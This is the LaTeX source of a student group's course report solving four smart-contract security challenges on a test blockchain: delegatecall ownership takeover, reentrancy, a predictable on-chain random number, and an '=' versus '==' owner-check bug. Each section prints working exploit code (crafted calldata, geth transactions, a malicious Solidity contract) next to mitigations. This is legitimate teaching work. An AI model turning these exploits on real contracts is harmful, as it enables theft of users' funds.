\documentclass[12pt,a4paper]{article}

\usepackage[cm]{fullpage}
\usepackage{amsthm}
\usepackage{amsmath}
\usepackage{amsfonts}
\usepackage{amssymb}
\usepackage{xspace}
\usepackage[english]{babel}
\usepackage{fancyhdr}
\usepackage{titling}
\usepackage{minted} 
\usepackage{xcolor} % to access the named colour LightGray
\definecolor{LightGray}{gray}{0.9}

\renewcommand{\thesection}{Exercise \Alph{section}:}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% This part needs customization from you %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% please enter your group number your names and matriculation numbers here
\newcommand{\groupnumber}{04}
\newcommand{\name}{Tobias Eidelpes, Mehmet Ege Demirsoy, Nejra Komic}
\newcommand{\matriculation}{01527193, 01641187, 11719704}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%           End of customization         %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\projnumber}{2}
\newcommand{\Title}{Smart Contracts}
\setlength{\headheight}{15.2pt}
\setlength{\headsep}{20pt}
\setlength{\textheight}{680pt}
\pagestyle{fancy}
\fancyhf{} 
\fancyhead[L]{Cryptocurrencies - Project \projnumber\ - Analysing the Blockchain}
\fancyhead[C]{}
\fancyhead[R]{\name}
\renewcommand{\headrulewidth}{0.4pt}
\fancyfoot[C]{\thepage}


\begin{document}
\thispagestyle{empty}
\noindent\framebox[\linewidth]{%
 \begin{minipage}{\linewidth}%
 \hspace*{5pt} \textbf{Cryptocurrencies (WS2021/22)} \hfill Prof.~Matteo Maffei \hspace*{5pt}\\

 \begin{center}
  {\bf\Large Project \projnumber~-- \Title}
 \end{center}

 \vspace*{5pt}\hspace*{5pt} \hfill TU Wien \hspace*{5pt}
\end{minipage}%
}
\vspace{0.5cm}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\section*{Group \groupnumber}
Our group consists of the following members:
\begin{center}
\textbf{\name}

\matriculation
\end{center}

\section{Bad Parity}

For this challenge we were given two contracts: \texttt{Wallet} and
\texttt{WalletLibrary}. The second contract is used by the \texttt{Wallet}
contract to set the owner upon initialization, to get the current owner, to
change the owner and to withdraw funds from the wallet. These functions are
called from the \texttt{Wallet} contract through the use of the
\texttt{delegatecall} function. In contrast to a regular \texttt{call},
\texttt{delegatecall} executes the function in the context of the \emph{calling}
smart contract. This means that if there happens to be a variable in both
contracts with the same name and a function changes that variable, the
\emph{caller's} and not the \emph{callee's} variable is changed. If insufficient
care is exercised during programming, the semantics of \texttt{delegatecall} can
have serious security implications, as in this case with \texttt{Wallet} and
\texttt{WalletLibrary}.

The \texttt{fallback} function in \texttt{Wallet} is called when the smart
contract receives a transaction with empty call data or call data which does not
match any other function. The call data sent with the transaction is then passed
to the \texttt{WalletLibrary} contract via \texttt{delegatecall}. The
\texttt{WalletLibrary} contract has a function called \texttt{initWallet} which
sets the owner of the contract to the given address. Usually this function would
be called only upon initialization of the contract (in the constructor for
example). We can call this function at any time by supplying the correct call
data to the \texttt{fallback} function from the \texttt{Wallet} contract. Since
the function is then called via \texttt{delegatecall}, the owner of the
\texttt{Wallet} contract is changed to an address of our choosing.

To trigger the \texttt{initWallet} function, the call data must contain the
signature of the function and all parameters. The function signature is the
first four bytes of the keccak hash of the function name and the types of its
parameters. Any parameters are added to the signature in a padded form. Creating
the call data in python works as follows (where \texttt{address} is the address
of the new owner):
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos]{python}
sig = w3.keccak(text='initWallet(address)')[:4].hex() + address[2:].rjust(64, '0')
# sig = 0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e
\end{minted}

We can then send this call data to the contract (via the geth console):
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos]{python}
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e", 
  gas: "80000"
});
\end{minted}
The owner of the \texttt{Wallet} contract is now our own address. Since we are
the owner, we can call the \texttt{withdraw} function from the \texttt{Wallet}
contract:
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{python}
sig = w3.keccak(text='withdraw(uint256)')[:4].hex() + hex(30000000000000000000)[2:].rjust(64, '0')
# sig = 0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000", 
  gas: "80000"
});
\end{minted}
Our own balance has increased by 30 Ether.

To mitigate this vulnerability the contract should use \texttt{call} instead of
\texttt{delegatecall}.

\section{DAO Down}

In this challenge we were given one contract called \texttt{EDao}. It allows
investors to fund addresses and those addresses can then withdraw the funding
they received. There is a bug in the \texttt{withdraw} function, however, which
allows an already funded address to withdraw more than it should be able to. If
the funded address is a contract address, the contract can exploit the
\texttt{withdraw} function by repeatedly withdrawing their funding. This is
possible because the internal balance of how much funds an address can withdraw
is only changed \emph{after} the funding is paid out to the receiver. For this
to work, a malicious contract has to have a \texttt{fallback} function which
calls the \texttt{withdraw} function again. When the \texttt{fallback} function
is called, the code execution recurses into the \texttt{withdraw} function and
passes all balance checks because the balance has not yet been changed. The
payout proceeds a second time and the \texttt{fallback} function is called
again until the balance of the \texttt{EDao} contract is zero. This type of
attack is called a \emph{reentrancy attack}.

In practice the following contract (or a variation thereof) has to be deployed
to the blockchain and the address of the deployed contract has to be funded with
one Ether in the \texttt{EDao} contract:
\inputminted[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}{daodown/hacker.sol}
An attacker can manually call the contract's \texttt{pwn} function and execute
the exploit. The malicious contract has successfully siphoned off \texttt{EDao}'s balance. Finally, the attacker calls the \texttt{withdraw} function of the
malicious contract and the balance is transferred to the attacker.

Mitigating reentrancy attacks is commonly done through two means. Either the
contract performs changes to its state \emph{before} executing the call or
functions which perform calls to external addresses are wrapped in a modifier
with mutex-like functionality. In the former approach a malicious contract will
not be able to execute the call to its own \texttt{fallback} function an
additional time because the balance checks fail. In the latter approach a
boolean variable is set to \texttt{true} when the function is executing the
first time. Before the function can be executed a second time, the contract
checks whether the variable is set to \texttt{true}. If it is, the transaction
is aborted.

\section{Fail Dice}
In this challenge we were given some form of a gambling contract, which promises 10 times the ether, with which user participates. The idea is, a user submits a number along with some ether and a random number is generated with the help of a method. User's number and randomly generated number are added together and if the result is exactly 42, then user earns 10 times the ether.(if the 10 times the participant's ether value is bigger than the contract balance, then contract sends all the balance it has.) Now let's take a look at the method, which generates the random number:

\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
function PRNG(address sender) private view returns(uint8) {
    // Totally "awesome" PRNG
    //return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)));
    return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))));
}
\end{minted}
Since blockchain is a deterministic data structure, anyone can produce the outcome of the PRNG function, given that they know the parameters/seeds used to generate randomness. Let's take a look at the parameters used in generation of a number:
\begin{itemize}
    \item \textbf{sender} is the address who is participating in the gambling.
    \item \textbf{block.coinbase} points to the address of the miner node which included the transaction in its block. So every transaction in the same block will have the same value.
    \item \textbf{now} is equal to the \textbf{block.timestamp} variable, which returns the number of seconds passed since the Epoch. So every transaction in the same block will have the same value.
    \item \textbf{big\_secret} is a private variable declared at the top of this contract.
\end{itemize}

It seems like out of all parameters used, all of them except \textbf{big\_secret} variable can be known, because \textbf{big\_secret} is a private variable, right? 

What is stored on public blockchains, whether with public or private modifiers, are still accessible by anyone, because Ethereum Virtual Machine saves smart contract data in "slots" in the order of the variables declared and anyone with an access to web3 can inspect the data in these slots, if they know the address of the contract. In conclusion, using private modifier only prohibits the access of other contracts to the private variables or functions. With this knowledge, we can start the first step of our exploit, which is retrieving the value of the \textbf{big\_secret}: 
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
//pragma solidity ^0.4.12;
pragma solidity ^0.5.4;

contract SatoshiFailDice {
    // Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match
    uint private big_secret;
    address student;
    address private owner;
    ...
}
\end{minted}
Now we can see above that the variable we are looking for is declared first, meaning that it has to be stored in the "slot 0". By using geth console we can learn what's stored in the "slot 0" of this contract:
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
// Assume failDiceContractAddress is already initialized.
eth.getStorageAt(failDiceContractAddress, 0); // Returned value is unique to every student, but let's assume the return value is "0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d"
\end{minted}
After completing this step, we now know all the parameters that is used in creating a random number. Now we can write a malicious contract that can generate the same random number, which will be generated by the contract in a specific block, remove this number from 42 to find out which number to submit as our participation number:

\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
pragma solidity ^0.5.4;

contract MaliciousFailDiceContract {
    uint big_secret = 0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d;
    address payable owner;
    address payable challengeAddress;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address payable _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() external payable {
        require(msg.value == 4 ether, "Must supply 4 ether");
        uint8 contract_roll = PRNG();
        uint8 user_roll = 42 - contract_roll;

        (bool success, ) = challengeAddress.call.value(msg.value)(
            abi.encodeWithSignature("rollDice(uint8)", user_roll)
        );

        if (!success) revert();
    }

    function PRNG() private view returns (uint8) {
        return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
    }

    function withdraw() external onlyOwner {
        selfdestruct(owner);
    }

    function() external payable { }
}

\end{minted}

We will call the pwn function to start the exploit. This function will require a minimum of 4 ether. 10 times 4 is bigger than the balance of the FailDice contract (30 Ether), but this is to guarantee that we will drain all the funds. Inside the pwn function, the PRNG function is called to generate the exact same random number that will be generated by the FailDice contract. Since pwn function sends a transaction to the FailDice contract at the end, both calls will be in the same block, thus block.coinbase and block.timestamp/now will produce same output in both contracts. After the pwn function submits a participation with 4 ether and a number obtained by subtracting the random number from 42, it will receive all the balance of the FailDice contract, basically winning the 10x bet. Now all's left to call the withdraw function as the malicious contract owner and we will transfer all the balance of our contract to our address. The code for explained steps above follows:

\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
// Assume maliciousFailDice contract is already deployed and an instance of the deployed contract is in variable maliciousFailDiceContractInstance
maliciousFailDiceContractInstance.pwn({from:student, value: web3.toWei(4, 'ether')}); // call pwn function
maliciousFailDiceContractInstance.withdraw({from:student}); // withdraw the malicious contract balance
\end{minted}
Conclusion is that do not use private variables for the purpose of hiding them from anyone. Private modifiers should be used for the cases where we do not want other contracts to use or access the variables or functions. Since Solidity contracts are deterministic, there is no true random number generation possible using only Solidity contract code. Though with the use of oracle services such as Chainlink, one can retrieve generate a random number outside of the blockchain and bring this data into the blockchain.

\section{Not A Wallet}
In this challenge we were expected to exploit a wallet contract and drain its funds. The contract itself has a main owner which is set as the creator of the contract in the constructor. Aside from the main owner, there is also an owners variable, which stores multiple owner addresses in the contract. The idea behind is that anyone can deposit money by sending any value to the deposit function, yet only owners can withdraw, add a new owner or remove an owner. The bug can be found in the removeOwner function itself:

\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
function removeOwner(address oldowner) public rightStudent {
    require(owners[msg.sender] = true); 
    owners[oldowner] = false;
}
\end{minted}
The writer of this contract wanted to check if the message sender is an owner, but instead of using the equals operator (==), he/she used assignment operator (=), which ends up making the sender of the message an owner by assigning true value to the sender address key in owners mapping. To exploit this contract and drain its funds, as student, its enough to first call the removeOwner method with the owner address as parameter and then withdraw function from the geth console: 

\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
// Assume walletContractAbi, walletContractAddress and studentAddress variables are already initialized.
var walletContract = eth.contract(walletContractAbi);
var walletContractInstance = walletContract.at(walletContractAddress);
walletContractInstance.removeOwner(walletContractInstance.owner.call(), {from:studentAddress});
walletContractInstance.isOwner(studentAddress); // should return true
walletContractInstance.withdraw(web3.toWei(10,'ether'), {from:studentAddress}); //withdraw all 10 ether in contract
\end{minted}

This bug seems to be caused by a typo and therefore could have been avoided if the function looked like following:
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
function removeOwner(address oldowner) public rightStudent {
    require(owners[msg.sender] == true); 
    owners[oldowner] = false;
}
\end{minted}
\section*{Work distribution}

\begin{description}
    \item[Tobias Eidelpes] Report for Bad Parity and DAO Down.
    \item[Mehmet Ege Demirsoy] Report for Fail Dice
    \item[Nejra Komic] Report for Not A Wallet
\end{description}

\end{document}